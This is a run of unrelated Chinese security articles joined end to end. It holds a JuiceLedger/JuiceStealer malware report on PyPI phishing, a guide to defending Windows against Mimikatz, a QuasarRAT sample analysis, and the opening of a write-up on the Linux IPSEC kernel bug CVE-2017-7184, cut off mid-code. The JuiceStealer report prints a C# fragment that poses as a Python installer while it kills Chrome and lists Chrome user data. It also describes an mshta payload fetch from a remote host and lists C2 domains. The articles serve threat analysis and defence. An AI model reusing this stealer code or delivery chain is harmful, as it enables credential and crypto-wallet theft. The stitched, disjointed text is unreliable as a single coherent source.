2022年8月24日，PyPi发布了针对PyPi用户的持续网络钓鱼活动的[详细信息](https://twitter.com/pypi/status/1562442188285308929)。根据他们的报告，这是已知的第一个针对PyPI的网络钓鱼攻击。网络钓鱼电子邮件指出，强制“验证”过程要求贡献者验证他们的包，否则有可能将其从PyPI中删除。
发送给PyPI贡献者的网络钓鱼电子邮件示例。资料来源：PyPI通过Twitter
网络钓鱼电子邮件将受害者指向模仿PyPI登录页面的Google网站登录页面。那里提供的凭据被发送到一个已知的JuiceLedger域：`linkedopports[.]com`.
PyPi钓鱼网站。[资料来源](https://twitter.com/pypi/status/1562442199811309568?s=20&t=cG3jJe6qSl2DOOfCWVq6Qg):PyPI通过Twitter
其中一些网络钓鱼攻击似乎已经成功，导致其贡献者凭据被泄露的合法代码包遭到破坏。
PyPI还报告说，他们发现了许多符合类似模式的域名仿冒包。JuiceLedger使用域名仿冒来传递其恶意应用程序。
抢注流行的代码包并不是什么新鲜事。在过去几年中出现了类似攻击的报告，包括针对Rust开发人员的[CrateDepression](https://www.sentinelone.com/labs/cratedepression-rust-supply-chain-attack-infects-cloud-ci-pipelines-with-go-malware/)活动，最近由SentinelLabs报道。
JuiceLedger在8月份的活动中上传的受损包包含一个简短的代码片段，负责下载和执行JuiceStealer的签名变体。添加的恶意代码如下所示。
恶意代码片段。[资料来源](https://checkmarx.com/blog/first-known-phishing-attack-against-pypi-users/):Checkmarx
添加到这些包中的代码片段与在域名抢注包中添加的代码片段非常相似。根据PyPI，恶意代码片段存在于以下软件包中：
exotel==0.1.6
spam==2.0.2 and ==4.0.2
查看受感染包的代码片段表明，参与者在注册URL中添加了受感染包的指示。
来自 _exotel_
中毒代码的片段。[资料来源](https://twitter.com/pypi/status/1562442207079976966?s=20&t=cG3jJe6qSl2DOOfCWVq6Qg)：PyPi通过Twitter
JuiceLedger的8月活动还包含一个以Ledger为主题的欺诈应用程序。Ledger是一种用于加密资产的硬件“冷存储”钱包技术，其用户已成为嵌入假Ledger安装包中的数字签名版本的JuiceStealer的目标。
用于签署JuiceStealer恶意软件的证书
该证书 `13CFDF20DFA846C94358DBAC6A3802DC0671EAB2`用于签署总共四个样本，其中一个样本看似无关，但都是恶意的。
## JuiceStealer恶意软件分析
JuiceLedger的信息窃取器，称为JuiceStealer，是一个相对简单的`.NET`应用程序，内部命名为“meta”。盗窃者的第一个迹象是在今年2月开始出现的。经过多次迭代，信息窃取器被嵌入到许多欺诈性应用程序和安装程序中。
### Python安装程序
2月13日上传到VirusTotal的第一版
JuiceStealer(`d249f19db3fe6ea4439f095bfe7aafd5a0a5d4d2`)似乎不完整，可能是开发人员提交的测试。它是一组模仿Python安装程序变体中的第一个。
此示例遍历包含单词“chrome”的进程，将其关闭，然后搜索Google
Chrome扩展日志文件。信息窃取程序会遍历包含单词“vault”的日志，可能会搜索加密货币库，并通过HTTP向嵌入式C2服务器报告。
private static void Main(string[] args)
{
Console.WriteLine("Please wait while Python installs...");
string[] directories = Directory.GetDirectories("C:\\Users\\" + Environment.UserName + "\\AppData\\Local\\Google\\Chrome\\User Data");
foreach (Process process in Process.GetProcessesByName("chrome"))
process.Kill();
Thread.Sleep(2500);
Console.WriteLine("Python is almost ready...");
几天后，欺诈安装程序的完整版本作为名为“python-v23.zip”的zip文件(`1a7464489568003173cd048a3bad41ca32dbf94f`)的一部分提交，其中包含infostealer的更新版本、合法的python安装程序和指令文件“INSTRUCTIONS.exe”。
伪造的Python安装程序说明文件
此版本的信息窃取程序引入了一个名为“Juice”（因此得名）的新类，并且还可以搜索Google Chrome密码、查询Chrome
SQLite文件。它还会启动包含在名为“config.exe”的zip中的Python安装程序。将合法软件命名为“config.exe”似乎在各种JuiceStealer变体中很常见。
像我们分析的许多JuiceStealer样本一样，它被编译为一个独立的`.NET`应用程序。这使文件明显变大。
`pdb`许多早期版本的JuiceStealer共有的路径包含用户名“reece”和内部项目名称“meta” 。
C:\Users\reece\source\repos\meta\meta\obj\Release\netcoreapp3.1\win-x86\meta.pdb
## JuiceStealer的进化
以观察到的`pdb`路径为中心，我们能够将其他活动链接到JuiceLedger。再加上我们对JuiceStealer开发阶段的额外发现，表明该组织于2021年底开始运营。
### Pre-JuiceStealer虚假安装程序
1月30 日，一组三个编译为独立应用程序的虚假安装程序从位于GB的提交者 _f40316fe_
上传到VirusTotal。同一提交者还上传了JuiceStealer的第一个变体，这似乎也是一个测试。所有伪造的安装程序都有一个相似的`pdb`路径，包含用户名“reece”，并且似乎是黑客对JuiceStelaer的第一次迭代。
C:\Users\reece\source\repos\install-python\install-python\obj\Release\netcoreapp3.1\win-x86\install-python.pdb
### Nowblox诈骗网站
在整个研究过程中，我们发现了与Nowblox的可能联系，Nowblox是一个于
2021年运营的诈骗网站，提供免费的Robux。几个名为“Nowblox.exe”的应用程序从GB的提交者系统地上传到VirusTotal，所有应用程序都具有以下`pdb`路径：
C:\\Users\\reece\\source\\repos\\Nowblox\\Nowblox\\obj\\Debug\\Nowblox.pdb
虽然路径本身并不是一个很强的指示，但我们在研究中发现了另一个指向Nowblox的链接，其形式为名为“NowbloxCodes.iso”(`5eb92c45e0700d80dc24d3ad07a7e2d5b030c933`)的文件。使用ISO文件可能表明它是通过网络钓鱼电子邮件发送的，因为ISO文件已成为绕过电子邮件安全产品的[流行攻击媒介](https://www.sentinelone.com/labs/who-needs-macros-threat-actors-pivot-to-abusing-explorer-and-other-lolbins-via-windows-shortcuts/)。但是，我们没有数据可以验证这一点。
该文件包含一个LNK文件(`e5286353dec9a7fc0c6db378b407e0293b711e9b`)，触发执行混淆的PowerShell命令，该命令反过来运行`mstha`从当前离线的`hxxps://rblxdem[.]com/brace.hta`加载一个`.HTA`文件。
该域`rblxdem[.]com`托管在`45.153.35[.]53`，用于托管多个Ledger网络钓鱼域以及JuiceStealer
C2域`thefutzibag[.]com`，提供了另一个可能的JuiceLedger链接。
## 欺诈性应用程序——特斯拉交易机器人
随着时间的推移，JuiceLedger运营商开始使用直接以加密货币为主题的欺诈应用程序，其中，他们命名为“Tesla Trading
bot”的应用程序。以与Python安装程序类似的方案交付，它嵌入在带有其他合法软件的zip文件中JuiceStealer在此期间发生了重大变化，增加了对其他浏览器和Discord的支持。
嵌入的指令消息与伪Python安装程序中的消息非常相似，提示用户禁用他们的安全解决方案。
JuiceLedger安装程序敦促用户绕过自己的安全性
虽然交付机制仍不清楚，但JuiceLedger运营商似乎为虚假交易机器人维护了一个网站，促使用户下载欺诈性应用程序。
恶意特斯拉交易机器人的下载站点
## PyPI响应
PyPI[表示](https://twitter.com/pypi/status/1562442209177522177?s=20&t=cG3jJe6qSl2DOOfCWVq6Qg)他们正在积极审查恶意软件包的报告，并已删除了数百个仿冒域名。敦促包维护者在可用的情况下对其帐户使用2FA授权，并在输入凭据时确认地址栏中的URL`http://pypi.org`。用户还可以检查站点的TLS证书是否颁发给`pypi.org`.
建议认为自己可能是JuiceLedger攻击受害者的维护者立即重置密码，并将任何可疑活动报告给[email protected]。
## 结论
JuiceLedger似乎已经从几个月前的机会主义、小规模感染迅速演变为对主要软件分销商进行供应链攻击。对PyPI贡献者的攻击的复杂性升级，包括有针对性的网络钓鱼活动、数百个域名仿冒包和受信任开发人员的帐户接管，这表明黑客有时间和资源可供使用。
鉴于PyPI和其他开源软件包在企业环境中的广泛使用，诸如此类的攻击令人担忧，敦促安全团队审查提供的指标并采取适当的缓解措施。
## IOC
**伪Python安装程序**
90b7da4c4a51c631bd0cbe8709635b73de7f7290
dd569ccfe61921ab60323a550cc7c8edf8fb51d8
97c541c6915ccbbc8c2b0bc243127db9b43d4b34
f29a339e904c6a83dbacd8393f57126b67bdd3dd
71c849fc30c1abdb49c35786c86499acbb875eb5
2fb194bdae05c259102274300060479adf3b222e
**Nowblox ISO 文件**
5eb92c45e0700d80dc24d3ad07a7e2d5b030c933
e5286353dec9a7fc0c6db378b407e0293b711e9b
**CryptoJuice 样品**
**SHA1** | **提交日期** | **领域**
---|---|---
cbc47435ccc62006310a130abd420c5fb4b278d2 | 2022-08-24 11:00:45 |
linkedopports[.]com
8bbf55a78b6333ddb4c619d615099cc35dfeb4fb | 2022-08-24 10:59:40 |
linkedopports[.]com
bac2d08c542f82d8c8720a67c4717d2e70ad4cd9 | 2022-08-23 21:34:01 |
linkedopports[.]com
567e1d5aa3a409a910631e109263d718ebd60506 | 2022-08-23 21:33:58 |
linkedopports[.]com
1e697bc7d6a9762bfec958ee278510583039579c | 2022-08-23 21:32:31 |
linkedopports[.]com
ea14f11e0bd36c2d036244e0242704f3cf721456 | 2022-08-20 13:29:20 |
ledgrestartings[.]com
5703ed6565888f0b06fffcc40030ba679936d29f | 2022-08-20 13:25:59 |
ledgrestartings[.]com
cd0b8746487d7ede0ec07645fd4ec655789c675b | 2022-08-18 08:43:43 | python-release[.]com
d3ed1c7c0496311bb7d1695331dc8d3934fbc8ec | 2022-08-18 08:33:28 | python-release[.]com
0a6731eba992c490d85d7a464fded2379996d77c | 2022-08-18 08:32:00 | python-release[.]com
a30df748d43fbb0b656b6898dd6957c686e50a66 | 2022-08-08 00:10:52 | python-release[.]com
52b7e42e44297fdcef7a4956079e89810f64e113 | 2022-08-08 00:07:36 | python-release[.]com
aa8c4dffeeacc1f7317b2b3537d2962e8165faa2 | 2022-08-05 10:19:20 |
thefutzibag[.]com
a6348aea65ad01ee4c7dd70b0492f308915774a3 | 2022-08-05 10:06:04 |
thefutzibag[.]com
b305c16cb2bc6d88b5f6fe0ee889aaf8674d686e | 2022-05-04 03:15:56 | ledge-pc[.]com
666e5554ccdafcb37a41f0623bb9acc53851d84f | 2022-04-06 10:45:39 |
trezsetup[.]com
463897fa2dd2727a930b8f3397d10a796b6aa0d6 | 2022-04-06 10:38:24 |
trezsetup[.]com
e2e239f40fdb2e5bf9d37b9607b152f173db285c | 2022-03-30 04:58:00 |
axiesinfintity[.]com
c0e3c2436e225f7d99991a880bf37d32ff09c5bd | 2022-03-27 18:14:18 |
axiesinfintity[.]com
6f3c5a06d1a53fac45182e76897e7eab90d4a186 | 2022-03-22 09:08:18 | campus-art[.]com
bd7eb97b3dc47e72392738d64007df5fc29de565 | 2022-03-21 15:10:01 | campus-art[.]com
de4596669f540b8bd34aa7cbf50e977f04f3bba3 | 2022-03-20 22:07:30 |
teslatradingbot[.]com
55ba11f522532d105f68220db44392887952e57b | 2022-03-14 05:02:04 |
barkbackbakery[.]com
9e9c6af67962b041d2a87f2abec7a068327fa53a | 2022-03-13 05:01:47 |
barkbackbakery[.]com
ed9a4ce2d68d8cc9182bb36a46d35a9a8d0510cb | 2022-03-06 23:21:48 |
capritagworld[.]com
f10006f7b13e4746c2293a609badd2d4e5794922 | 2022-03-06 23:14:04 |
capritagworld[.]com
f07954ba3932afd8ad7520c99a7f9263aa513197 | 2022-03-06 17:29:24 |
teslatradingbot[.]com
56e3421689d65e78ff75703dd6675956b86e09e8 | 2022-03-05 22:53:42 |
ideasdays[.]com
004c66532c49cb9345fc31520e1132ffc7003258 | 2022-03-05 21:01:36 |
ideasdays[.]com
6fe5f25205679e148b7b93f1ae80a659d99c7715 | 2022-03-04 18:35:32 |
teslatradingbot[.]com
964e29e877c65ff97070b7c06980112462cd7461 | 2022-03-02 02:08:58 |
teslatradingbot[.]com
225638350f089ee56eae7126d048b297fce27b7d | 2022-02-28 19:30:23 | hitwars[.]com
9fb18a3426efa0034f87dadffe06d490b105bda3 | 2022-02-28 19:23:51 | hitwars[.]com
a78dd3cd9569bd418d5db6f6ebf5c0c5e362919b | 2022-02-18 22:53:42 |
barkbackbakery[.]com
d249f19db3fe6ea4439f095bfe7aafd5a0a5d4d2 | 2022-02-13 07:10:09 |
barkbackbakery[.]com
* * * | 社区文章 |
### 前言
如果你像我一样，在渗透测试的某些时候，你在Windows主机上获得了一个session，你也许有机会从该主机dump下账号密码。通常会使用
**Mimikatz** 。在原始的版本，Mimikatz从lsass.exe
进程中直接获取凭证（明文或Hash值），经过发展，现在它已经衍生出几个不同的攻击向量。然后，攻击者可以使用这些凭据为“中心点”攻击同网络中的其他资源
——这通常被称为“横向移动”，其实在大多数情况下，你实际上在“向上移动”到基础设施中更具价值的目标。
后卫/蓝色队员（或蓝队经理）也许会说“这听起来像是恶意软件，难道这不是Antivirus （译者注：防病毒软件）吗？”。有点可惜，只说对了一半——
恶意软件的确也使用这种攻击方式。例如，Emotet就是这样，它一旦获得凭据和持久访问，通常会将权限传递给其他恶意软件（例如TrickBot或Ryuk）。可悲的是，绕过AV检测已经不是什么难题了，有很多有名的姿势可以绕过AV使用
Mimikatz，BHIS博客做了一些概述：<https://www.blackhillsinfosec.com/bypass-anti-virus-run-mimikatz/>
那么针对Mimikatz，Windows官方有哪些缓解措施呢？让我们回到最初，当Mimikatz第一次出现时，微软推出了KBKB2871997（在2014年，Windows
7时代的主机）来防御它。
<https://support.microsoft.com/en-us/help/2871997/microsoft-security-advisory-update-to-improve-credentials-protection-a>
从那时起，这种保护已集成到Windows 8.x，Windows 10和Server 2016+中。
然而即使应用了补丁后，凭据仍然存储在内存中。你仍然需要更改注册表项来禁用此行为：
`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest`
`UseLogonCredential` set 0 （再次说明，这是针对windows7或xp系统）
然而，你会发现这些保护只能防御初始的向量。Mimikatz和微软正在进行一场“猫捉老鼠”游戏，因为Mimikatz的每次更新会有新的攻击向量出现。
### SMBv1
如果你启用了SMBv1或未签名的连接，那么有比Mimikatz更加简单地工具去欺骗域控制器
——简单地说，当你在某个内部网络拿下一台主机后，你只需使用Responder（译者注：kali上的一个嗅探/欺骗工具）：
扫描仍支持SMBv1的主机并采取操作(<https://isc.sans.edu/forums/diary/Rooting+Out+Hosts+that+Support+Older+Samba+Versions/22672/>)
使用GPO全局禁用SMBv1(<https://blogs.technet.microsoft.com/staysafe/2017/05/17/disable-smb-v1-in-managed-environments-with-ad-group-policy/>)
指定SMB连接地签名可以缓解Responder风格的攻击：<https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/microsoft-network-client-digitally-sign-communications-always>
### Mimikatz特定防御
#### 更新Windows服务器上的操作系统
我们经常可以见到原始时代的Server 2008，Windows 7，甚至是Server 2003和XP（在某些情况下是Server
2000！）。不必多言，更新的确更好，较新的Windows Server操作系统具有更好的安全性
。如果它不会服务器服务器应用程序正常运行，请更新到Windows Server 2016和Windows 10（如果你足够勇敢，请更新到2019年版本！）
#### 更新活动目录的功能级别
这里重申了第一点。你的活动目录功能级别应当设置成现代版本，否则我们在本文后面讨论的许多企业保护都无法实现。如果你可以更新，请尽可能将活动目录版本提升至2016年以上！
#### 禁用所有服务器和工作站上本地管理员的调试权限
这是一种较新的攻击向量——Windows的“调试模式”，允许你绕过其许多本机保护。它主要是用来解决设备驱动程序和其他操作系统或低级应用程序组件之类的问题。
如果你的主机中有开发人员，他们肯定会反对。问题是只有在运行“真正的”调试器（如IDA）并且正在执行如在已编译的二进制代码中设置断点之类的情况下才会用到这个权限，更常见的更高级语言则不需要这个权限了。像法医一样，调查员们确实需要这些权利，但如果他们想要在他们的域成员工作站上获得这些权利，他们就要回到法医学校去获取。
单独的主机如需禁用此设置，请从MSConfig转到“引导/高级选项”，然后禁用“调试”。较新的操作系统会默认设置。
在组策略中，请到安全设置/本地策略/用户权限分配/调试程序禁用它。
默认情况下是没有配置的。你需要不添加任何用户或组（或仅添加真正需要的组，或者不需要它但必须开启的）
#### 全面禁用WDigest协议
该协议是在XP时代推出的，用于透明的HTTP身份验证，而且在所有的Windows 7/Server 2008主机中仍默认启用。它在Windows
8及更高版本中则默认禁用。
关闭它，请在注册表编辑器中转到`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest`
，这里`UserLogonCredential`和`Negotiate`的值设置为0（请注意，Server 2016+和Windows 10中不存在“
UseLoginCredential ”）
你还可以添加一些注册表项监视功能，用来检测攻击者是否更改了这些设置。
#### 启用LSA保护（RunAsPPL注册表项）
启用它可以保护LSASS进程使用的内存。要启用此功能，请在注册表中转到`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA`
设置`RunAsPPL`为1
**风险** ：因为它试图保护LSASS进程时可能会影响其他组件工作。这是第一个有风险的缓解措施。
**缓解该风险**
：幸运的是，你可以提前部署一些Microsoft的审计设置，用来评估你的操作存在的风险。有关这方面的更多详细信息以及一般设置在这里有：<https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection>
#### 禁用活动目录中的纯文本密码存储
有时，Micosoft会存在一些落后兼容性的东西。比如说“可逆加密”设置选项。回到古时（Windows
2000时代），人们可以利用它破解密钥，当时主要是为了让RADIUS（译者注：远端用户拨入验证服务）工作（当时的IAS，现在是NPS）。遗憾的是，这个设置在今天仍然存在，你可以使用它快速破解获得明文密码。
要禁用此功能，请在组策略中转至：`Computer Configuration/Security Settings/Account
Policies/Password Policy` 把`Store Passwords using reversible encryption`关闭。
此设置也可在ADAC（活动目录管理控制台）的“细粒度密码策略”部分中操作 ，在这里请清除该复选框
关于攻击的细节：<https://www.blackhillsinfosec.com/your-password-is-wait-for-it-not-always-encrypted/>
#### 启用受限制的管理模式
在注册表项中设置`DisableRestrictedAdmin`和`DisableRestrictedAdminOutboundCreds`
这可以把你的RDP会话设置为不将凭证存储在主机的内存中。要在受限制的管理模式下启动会话，请按以下方式运行RDP会话：`mstsc/restrictedadmin/v:targethost`
请注意，你的凭据不会被缓存，因此从RDP会话中你将不能用缓存的凭据“横向移动”到另一台主机。例如，你将无法运行服务器管理器，WMIC，PSRemoting或任何其他活动目录管理工具，你的连接行为将被监视。这是一件好事，因为如果你能突破它，你将会失去保护（oops）
使用注册表项实现：
在`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa`中设置DWORD值`DisableRestrictedAdmin`为0。这样就启用了受限模式（默认情况下关闭）
或者在`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa`中创建一个DWORD值`DisableRestrictedAdminOutboundCreds`：
* 此时默认不为0，`AdminOutboundCreds`是开启的
* 设置为1，即可关闭`AdminOutboundCreds`
更多操作细节请转到：<https://blogs.technet.microsoft.com/kfalde/2015/01/10/restricted-admin-mode-for-rdp-in-windows-7-2008-r2/>
#### 通过组策略启用限制对远程服务器的凭据委派
这将为GPO范围内的域成员发起的所有RDP会话默认设置为“受限制的管理模式”。这种方法的效果通常优于前面所述的注册表设置。
GPO设置如下：
`Computer Configurations > Policies > Administrative Templates > System >
Credential Delegation`然后把`Restrict Delegation of credential to remote
servers`设置为开启并且`Require Restricted Admin`。
#### RDP会话强制开启NLA（网络级别身份验证）
在RDP会话建立之前，NLA会强制通过TLS（译者注：传输层安全性协议）进行RDP身份验证（通过名为CredSSP的控制器）。那么，这个设置并不能减轻Mimikatz本身的影响，因为Mimikatz攻击通常是针对本地计算机。这个设置更像是“防止密码嗅探线路”，所以它可以抵御Responder这一类的攻击。但是，此设置通常会与
**受限制的管理模式** 和 **受保护的用户组** 一起部署（参阅下面的内容）。
在组策略中强制执行此操作：
服务器：
`Computer Configuration/Policies/Administrative Templates/ Windows
Components/Remote Desktop Services/Remote Desktop Session Host/Security
Enable` :开启后将使用网络级别身份验证对远程连接用户进行身份验证。
客户端：`Computer Configuration/Policies/Administrative Templates/Windows
Components/Remote Desktop Services/Remote Desktop Connection Client
Enable`:在客户端配置中，还需要在下拉菜单中选择“如果身份验证失败，请不要连接”。
#### 禁用密码缓存
默认情况下，Windows会缓存最后几次的认证凭据（包括密码哈希值），以防域控制器失效。你可以在以下组策略中禁用此功能：
`Computer Configuration -> Windows Settings -> Local Policy -> Security
Options -> Interactive Logon:`设置要缓存的先前登录次数 - > 0
请注意，如果笔记本电脑的用户需要在离开办公室后使用，这可能会造成一些影响。你可以再VPN客户端设置登陆前强制建立VPN连接，然而如果你要输入WiFi密码，那么这一定会让你头疼。通常可以绑定手机的热点来缓解影响，你还需要实施政策和技术控制中禁止使用公共热点，如酒店或咖啡店WiFi。这是一种简单有效的缓解措施，但需要提前进行一些操作才能发挥作用。
#### 开启Kerberos身份验证
你需要将管理帐户放在“受保护的用户”AD组中，才能开启该验证。
这里有两个关于该主题的“入门”MS文档，开启该保护前请务必先阅读其中之一！
<https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group>
<https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/how-to-configure-protected-accounts>
MS文档影响概述：
1、已登录到Windows 8.1（或更新版本）以及Windows Server 2012 R2（或更新版本）主机的受保护用户组的成员请注意：
* 默认凭据委派（CredSSP） ：即使委派默认凭据策略是开启的，也不会缓存明文凭据。
* Windows摘要 ：即使启用了缓存明文凭证，也不会缓存。
* NTLM ：NTOWF不在缓存
* Kerberos长期密钥 ：登录时会Kerberos要求票据换取票据（TGT），但不会自动重新获取它。
* 登录离线后：缓存登陆验证不可用
2、如果域功能级别是Windows Server 2012 R2（或更高版本），则该组的成员请注意：
* 不能使用NTLM身份验证进行验证
* 在Kerberos预身份验证中不能使用数据加密标准（DES）或RC4密码套件
* 无法使用如何的委派
* 无法在4个小时的用户票证（TGTs）失效后再次刷新
总结一下，上述操作可以禁用大多数密码缓存，强制Kerberos身份验证，并禁用DES和RC4密码。
请注意，为服务器或工作站设置此组成员资格将产生一些无法预知的影响（在开始处理此文档之前，请阅读这些MS文档），所以这仅适用于个人帐户。
#### 凭证卫士
顾名思义，它将保护你的凭据。
本质上，如今的CPU将使用固有的虚拟化功能来保护凭据。虽然LSA进程继续在“用户”的内存中运行，但进程本身不再直接存储凭证，它将这些凭据存储在受虚拟化保护的内存中，使用名为“Virtual
Secure Mode”的进程存储在另一个“国中国”中。相关过程被称为“LSA Secure
Mode”。正如微软说的那样（<https://blogs.technet.microsoft.com/ash/2016/03/02/windows-10-device-guard-and-credential-guard-demystified/），> LSA和LSA Secure
Mode都是被同一个Hypervisor管理的“虚拟程序”。
凭据卫士的配置有些复杂，下面是一些重点：
* 安装Windows功能“Hyper-V Hypervisor”和“隔离用户模式”（不需要Hyper-V）
* Windows 10 v1607及更高版本中不需它
* 在组策略中，启用“打开基于虚拟化的安全性”，在该选项中，打开“启用基于虚拟化的代码完整性保护 ”中的“安全启动”。
* 同样的，在GPO中转到“Computer Configuration/Administrative Templates/System/ Device Guard”，启用“Deploy Code Integrity”。
* 请注意，你的的CPU需要支持Intel VT或AMD V，并且你需要使用UEFI启动。系统尽可能将使用TPM来保护凭据，除了“基于虚拟化的安全性（VBS）使用TPM保护密钥”之外，这似乎没有很大作用。（如果你有这方面的经验<https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-considerations，请联系我！）>
想了解更多的细节，请访问<https://blogs.technet.microsoft.com/ash/2016/03/02/windows-10-device-guard-and-credential-guard-demystified/>
我们提到过这是否像是像军备竞赛？在2018年9月，Mimikatz宣布已绕过这种保护措施。在此之前，它是直接从内存中获取hash，mimikatz的绕过仅仅是在传输散列到受保护的内存区域之前盗取凭证。我希望将来Mimikatz可以在使用虚拟化技术总结从LSA安全模式内存空间中获取凭据。因为LSA需要接触到凭据，所以我确信微软已经有API可以实现完全保护（这个API似乎可以访问任何东西）。让我们继续关注，因为卫士和攻击者会继续博弈！
#### 给特定的站点或服务器设置独立的管理员
同样，这个也不能拦截Mimikatz从机器上窃取凭证，它可以做的是防止使用这些凭证横向移动到其他主机，这通常是攻击的终极目标。
在活动目录管理中心（ADAC）的“身份验证策略”选项，可以将服务帐户“固定”到运行该服务的主机。这意味着即使成功获得凭证（使用Mimikatz或其他方法），该帐户（可能是某个特权）也不能轻易导致横向移动。
#### 为管理员和服务帐户设置长而复杂的密码
Mimikatz攻击方法总是在更新。我还没有介绍在实例服务中使用Kerberoasting提取密码的哈希值，这个故事是关于蓝队（捍卫者）比红队（袭击者）更多的情况，请敬请期待，我们将在那里进行攻击。
许多Mimikatz攻击向量都是为了提取密码哈希。你还可以直接爆破获取哈希值，但如果密码是冗长和复杂的（我通常设置服务密码到16个或32个或更多的随机字符），那么破解密码的成本会非常高。使用短语或者简单单词组成密码很难说是错误的，比如“L33tspeak”，它只会延长一点攻击时间。密码长度是最重要的衡量标准，不使用有意义的单词可以让许多黑客删除破解密码的“快捷方式”。请注意，这也是一场军备竞赛，因为GPU硬件影响了“破解成本高昂多少？”
，答案是非常高。
#### 其他防御措施
还可以通过检索一些日志条目来检测Mimikatz，但这非常复杂。 我可能会在以后的文章中谈到它。如果没有人限制我，我将来也会介绍一些Mimikatz攻击情景
:-)
### 小结
从上述内容可以看到，Mimikatz和微软之间过去和将来存在长时间的博弈。我已经介绍完了内容，虽然这只是一个比较完整的“低级”缓解方法，但你应该还是有一些收获。一个坚毅的攻击者可能仍然可以“完成攻击”，但是如果我们实施上述操作或许可以加大进攻难度。不要惊讶，因为使用Mimikatz的自动化恶意软件非常少。如果在几个月里没有曝光新攻击面，我也觉得正常，因为微软会有新的防御。
说也说完了，我还是没有找到一个完全实现了上面的所有内容的AD域。我测试的大多数AD域在实际工作中仍然使用Server 2003或Windows
7（甚至是Server 2000！），因此上面的一些操作没有实际生产环境来检验。
`翻译来源：` | 社区文章 |
# 一次QuasarRAT的利用活动发现分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：看天明@meshfire
## 概述
Quasar是使用C＃编写的快速，轻量级的远程管理工具，主要针对Windows操作系统，由于其开源，功能丰富的特性，经常被黑客用于各种网络攻击活动。
在近日运营过程中，检测到一起仿冒VEGAS_PRO安装软件的病毒样本。该软件在运行后会设置自启项并留下后门文件，同时注入到进程RegSvcs.exe进行后续攻击活动。经过分析发现此次攻击活动利用的核心恶意程序即为QuasarRAT。
#
## 样本行为分析
### 软件初次运行流程
其中释放的AppXApplicabilityBlob.url、AppXApplicabilityBlob.vbs、scrconsHD.exe
为其持续化手段。
### 软件具体分析
**VEGAS_Pro:**
软件具体信息:
拖入查壳软件发现AutoIt关键字
脱出该脚本查看主要功能为设置自启项，释放真正的安装软件，解密
创建RegSvcs进程进行注入
**加载器**
Dump出注入代码，查询发现为.net的程序
该程序为一个加载器，会再次动态解密加载两个.dll文件，进行反虚拟机，查询安全软件的功能，并加载真正的恶意程序
反虚拟机检测
安全软件路径检测
解密解压出新的pe文件
**主要恶意程序:**
对其主核心文件dump并反混淆后，调试查看其功能
根据解密出的字符串特征发现该程序为开源的QuasarRAT软件
检测互斥体
连接hxxp://ip-api.com/json/，获取受害者的地理位置等信息
设置键盘钩子
接受网络连接，发送并获取指令
可以发现具备的功能有:摄像头获取，远程桌面键盘记录，获取密码(浏览器记录)，下载上传，编辑注册表进程，创建执行关闭远程shell执行等远控功能
## 相关IOC:
域名: starcraft.mywire.org
样本md5:
安装软件VEGAS_Pro_17.0.0.421.exe: 5260FC9C72ADDE494BCDCF7E739D635A
加载器: A1D010200E360E910C56377744FA1214
Quasar RAT: D918F2B0CDCE02D14B9F362CBA4E2DF1 | 社区文章 |
本文来源：[ **长亭技术专栏**](https://zhuanlan.zhihu.com/p/26674557)
作者：[ **赵汉青**](https://www.zhihu.com/people/hqzhao)
## **0.前言**
在2017年PWN2OWN大赛中，长亭安全研究实验室（Chaitin Security Research Lab）成功演示了Ubuntu 16.10
Desktop的本地提权。本次攻击主要利用了linux内核IPSEC框架(自linux2.6开始支持)中的一个内存越界漏洞，CVE编号为CVE-2017-7184。
众所周知，Linux的应用范围甚广,我们经常使用的Android、Redhat、CentOS、Ubuntu、Fedora等都使用了Linux操作系统。在PWN2OWN之后，Google、Redhat也针对相应的产品发出了漏洞公告或补丁(见参考资料)。并表示了对长亭安全研究实验室的致谢，在此也建议还没有升级服务器内核的小伙伴们及时更新内核到最新版本:P
不同于通常的情况，为了增加比赛难度，本次PWN2OWN大赛使用的Linux版本开启了诸多漏洞缓解措施，kASLR、SMEP、SMAP都默认开启，在这种情况下，漏洞变得极难利用，很多漏洞可能仅仅在这些缓解措施面前就会败下阵来。
另外值得一提的是，本次利用的漏洞隐蔽性极高，在linux内核中存在的时间也非常长。因为触发这个漏洞不仅需要排布内核数据结构，而且需要使内核处理攻击者精心构造的数据包，使用传统的fuzz方式几乎是不可能发现此漏洞的。
最终，长亭安全研究实验室成功利用这个漏洞在PWN2OWN的赛场上弹出了PWN2OWN历史上的第一个xcalc, ZDI的工作人员们看到了之后也表示惊喜不已。
下面一起来看一下整个漏洞的发现和利用过程。
## **1.IPSEC协议简介**
IPSEC是一个协议组合，它包含AH、ESP、IKE协议，提供对数据包的认证和加密功能。
为了帮助更好的理解漏洞成因，下面有几个概念需要简单介绍一下
**(1) SA(Security Associstion)**
SA由spi、ip、安全协议标识(AH或ESP)这三个参数唯一确定。SA定义了ipsec双方的ip地址、ipsec协议、加密算法、密钥、模式、抗重放窗口等。
**(2) AH(Authentication Header)**
AH为ip包提供数据完整性校验和身份认证功能，提供抗重放能力，验证算法由SA指定。
**(3) ESP(Encapsulating security payload)**
ESP为ip数据包提供完整性检查、认证和加密。
## **2.Linux内核的IPSEC实现**
在linux内核中的IPSEC实现即是xfrm这个框架，关于xfrm的代码主要在net/xfrm以及net/ipv4下。
以下是/net/xfrm下的代码的大概功能
xfrm_state.c 状态管理
xfrm_policy.c xfrm策略管理
xfrm_algo.c 算法管理
xfrm_hash.c 哈希计算函数
xfrm_input.c 安全路径(sec_path)处理， 用于处理进入的ipsec包
xfrm_user.c netlink接口的SA和SP(安全策略)管理
其中xfrm_user.c中的代码允许我们向内核发送netlink消息来调用相关handler实现对SA和SP的配置，其中涉及处理函数如下。
xfrm_dispatch[XFRM_NR_MSGTYPES] = {
[XFRM_MSG_NEWSA - XFRM_MSG_BASE] = { .doit = xfrm_add_sa },
